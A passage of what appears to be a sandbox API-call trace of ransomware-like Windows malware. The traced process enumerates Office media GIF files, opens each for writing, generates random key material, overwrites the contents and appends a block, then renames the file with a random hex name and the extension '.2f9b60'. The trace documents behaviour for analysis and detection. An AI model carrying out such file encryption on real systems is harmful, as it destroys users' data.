Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.264] wcscat (in: _Dest=0x20506b30, _Source="BD14513_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14513_.GIF" [0151.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24e8 [0151.265] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0151.265] wcscmp (_String1="BD14514_.GIF", _String2=".") returned 1 [0151.265] wcscmp (_String1="BD14514_.GIF", _String2="..") returned 1 [0151.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20506770 [0151.265] wcscpy (in: _Dest=0x20506770, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.265] wcscat (in: _Dest=0x20506770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.265] wcscat (in: _Dest=0x20506770, _Source="BD14514_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" [0151.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24ec [0151.266] FindNextFileW (in: hFindFile=0x1b859210, lpFindFileData=0x2027ec90 | out: lpFindFileData=0x2027ec90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0151.267] wcscmp (_String1="BD14515_.GIF", _String2=".") returned 1 [0151.267] wcscmp (_String1="BD14515_.GIF", _String2="..") returned 1 [0151.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507490 [0151.267] wcscpy (in: _Dest=0x20507490, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" [0151.267] wcscat (in: _Dest=0x20507490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\" [0151.267] wcscat (in: _Dest=0x20507490, _Source="BD14515_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" [0151.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif")) returned 0x20 [0151.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF", dwFileAttributes=0x20) returned 1 [0151.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x24f0 [0151.271] GetFileSizeEx (in: hFile=0x24f0, lpFileSize=0x1f3ff6e0 | out: lpFileSize=0x1f3ff6e0*=179) returned 1 [0151.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6dc0 [0151.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6df0 [0151.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e20 [0151.272] NtQuerySystemTime (in: CurrentTime=0x1f3ff5a0 | out: CurrentTime=0x1f3ff5a0*=132462177564754000) returned 0x0 [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x5e848656 [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x44eb5009 [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x2c71f2d [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0xa7b3bc7 [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x313e23e5 [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x44f1dd4d [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x4dffce99 [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x2652da0a [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x4e66b1db [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0xd7807de [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x239b9096 [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x58acca4c [0151.272] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x2ede06da [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x6c2ef727 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x33e47d3b [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x768e32d5 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x3b54f3d6 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x4b9147a5 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x40378f7 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x6cbebdfc [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x421135d9 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x69d14910 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x35a40f7d [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x164e06c6 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x5a06299e [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x774566ed [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x34c4a29 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x7c13a8f1 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x6285b8fc [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x14651ca2 [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x65c8b87b [0151.273] RtlRandomEx (in: Seed=0x1f3ff590 | out: Seed=0x1f3ff590) returned 0x1e0695c6 [0151.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e50 [0151.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869540 [0151.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6e80 [0151.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0151.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e20) returned 1 [0151.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6dc0) returned 1 [0151.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586a0 [0151.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869540 [0151.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6dc0 [0151.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6dc0) returned 1 [0151.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424c4d60 [0151.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424c8970 [0151.286] ReadFile (in: hFile=0x24f0, lpBuffer=0x424c4d60, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x1f3ff590, lpOverlapped=0x0 | out: lpBuffer=0x424c4d60*, lpNumberOfBytesRead=0x1f3ff590*=0xb3, lpOverlapped=0x0) returned 1 [0151.288] SetFilePointerEx (in: hFile=0x24f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.288] WriteFile (in: hFile=0x24f0, lpBuffer=0x424c8970*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x1f3ff594, lpOverlapped=0x0 | out: lpBuffer=0x424c8970*, lpNumberOfBytesWritten=0x1f3ff594*=0xb3, lpOverlapped=0x0) returned 1 [0162.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18e70 [0162.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ea0 [0162.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ea0) returned 1 [0162.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424c8970) returned 1 [0162.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424c4d60) returned 1 [0162.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0162.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586a0) returned 1 [0162.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18ea0 [0162.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586a0 [0162.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869540 [0162.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ed0 [0162.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ed0) returned 1 [0162.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c18ed0 [0162.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f00 [0162.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f30 [0162.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f30) returned 1 [0162.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0162.539] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586a0) returned 1 [0162.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c155f0 [0162.539] SetFilePointerEx (in: hFile=0x24f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.539] WriteFile (in: hFile=0x24f0, lpBuffer=0x42c155f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f3ff6b0, lpOverlapped=0x0 | out: lpBuffer=0x42c155f0*, lpNumberOfBytesWritten=0x1f3ff6b0*=0x10a, lpOverlapped=0x0) returned 1 [0164.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce185f0 [0164.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500320 [0164.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500320) returned 1 [0164.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500320 [0164.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205002c0 [0164.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205002c0) returned 1 [0164.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce185f0) returned 1 [0164.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e9f0 [0164.801] sprintf (in: _Dest=0x1cd9e9f0, _Format="%c%c" | out: _Dest="22") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9e9f2, _Format="%c%c" | out: _Dest="0d") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9e9f4, _Format="%c%c" | out: _Dest="e5") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9e9f6, _Format="%c%c" | out: _Dest="ed") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9e9f8, _Format="%c%c" | out: _Dest="67") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9e9fa, _Format="%c%c" | out: _Dest="60") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9e9fc, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9e9fe, _Format="%c%c" | out: _Dest="4c") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea00, _Format="%c%c" | out: _Dest="d2") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea02, _Format="%c%c" | out: _Dest="f5") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea04, _Format="%c%c" | out: _Dest="cf") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea06, _Format="%c%c" | out: _Dest="e3") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea08, _Format="%c%c" | out: _Dest="84") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea0a, _Format="%c%c" | out: _Dest="88") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea0c, _Format="%c%c" | out: _Dest="3b") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea0e, _Format="%c%c" | out: _Dest="cf") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea10, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea12, _Format="%c%c" | out: _Dest="a9") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea14, _Format="%c%c" | out: _Dest="64") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea16, _Format="%c%c" | out: _Dest="87") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea18, _Format="%c%c" | out: _Dest="90") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea1a, _Format="%c%c" | out: _Dest="b2") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea1c, _Format="%c%c" | out: _Dest="76") returned 2 [0164.801] sprintf (in: _Dest=0x1cd9ea1e, _Format="%c%c" | out: _Dest="d5") returned 2 [0164.801] RtlInitAnsiString (in: DestinationString=0x1f3ff728, SourceString="220de5ed6760bf4cd2f5cfe384883bcfbfa9648790b276d5" | out: DestinationString="220de5ed6760bf4cd2f5cfe384883bcfbfa9648790b276d5") [0164.802] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f3ff6f8, SourceString="220de5ed6760bf4cd2f5cfe384883bcfbfa9648790b276d5", AllocateDestinationString=1 | out: DestinationString="220de5ed6760bf4cd2f5cfe384883bcfbfa9648790b276d5") returned 0x0 [0164.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86edb0 [0164.802] RtlFreeAnsiString (AnsiString="2") [0164.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e9f0) returned 1 [0164.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500320) returned 1 [0164.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c155f0) returned 1 [0164.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ed0) returned 1 [0164.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18f00) returned 1 [0164.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ea0) returned 1 [0164.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18e70) returned 1 [0164.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6df0) returned 1 [0164.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e50) returned 1 [0164.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6e80) returned 1 [0164.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c5b0 [0164.805] wcscat (in: _Dest=0x2050c5b0, _Source="220de5ed6760" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\220de5ed6760") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\220de5ed6760" [0164.805] wcscat (in: _Dest=0x2050c5b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\220de5ed6760.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\220de5ed6760.2f9b60" [0164.805] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\220de5ed6760.2f9b60", NtPathName=0x1f3ff6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\220de5ed6760.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x42c2b710 Thread: id = 1370 os_tid = 0xe4c [0118.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f010 [0118.513] wcscpy (in: _Dest=0x1b85f010, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0118.513] wcscat (in: _Dest=0x1b85f010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0118.513] wcscat (in: _Dest=0x1b85f010, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*" [0118.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027ef00 [0118.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\*", lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce2e0 [0118.515] wcscmp (_String1=".", _String2=".") returned 0 [0118.515] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4548c0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.516] wcscmp (_String1="..", _String2=".") returned 1 [0118.516] wcscmp (_String1="..", _String2="..") returned 0 [0118.516] FindNextFileW (in: hFindFile=0x1b7ce2e0, lpFindFileData=0x2027ef00 | out: lpFindFileData=0x2027ef00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10219_.GIF", cAlternateFileName="")) returned 1 [0118.516] wcscmp (_String1="BD10219_.GIF", _String2=".") returned 1 [0118.516] wcscmp (_String1="BD10219_.GIF", _String2="..") returned 1 [0118.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae140 [0118.516] wcscpy (in: _Dest=0x202ae140, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0118.516] wcscat (in: _Dest=0x202ae140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0118.516] wcscat (in: _Dest=0x202ae140, _Source="BD10219_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" [0152.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif")) returned 0x20 [0152.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF", dwFileAttributes=0x20) returned 1 [0152.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25fc [0152.274] GetFileSizeEx (in: hFile=0x25fc, lpFileSize=0x2923fbe0 | out: lpFileSize=0x2923fbe0*=978) returned 1 [0152.274] SetFilePointerEx (in: hFile=0x25fc, liDistanceToMove=0x3ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.274] ReadFile (in: hFile=0x25fc, lpBuffer=0x2923fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2923fba8, lpOverlapped=0x0 | out: lpBuffer=0x2923fb60*, lpNumberOfBytesRead=0x2923fba8*=0x4, lpOverlapped=0x0) returned 1 [0152.289] SetFilePointerEx (in: hFile=0x25fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0152.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500da0 [0152.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500dd0 [0152.290] NtQuerySystemTime (in: CurrentTime=0x2923faa0 | out: CurrentTime=0x2923faa0*=132462177575050000) returned 0x0 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x5f7cbbd9 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x5fb40c19 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x349a5106 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x2b6c9227 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x424c0d7b [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7e5d740a [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x5c8df159 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x1370e4be [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x51d2def [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x331467a3 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x402a733e [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x647c8be5 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x500206b3 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x43d729d1 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x1fc187b4 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x7f3548dc [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x5440d6d5 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0x6d864465 [0152.290] RtlRandomEx (in: Seed=0x2923fa90 | out: Seed=0x2923fa90) returned 0xcfe0491 [0152.290] 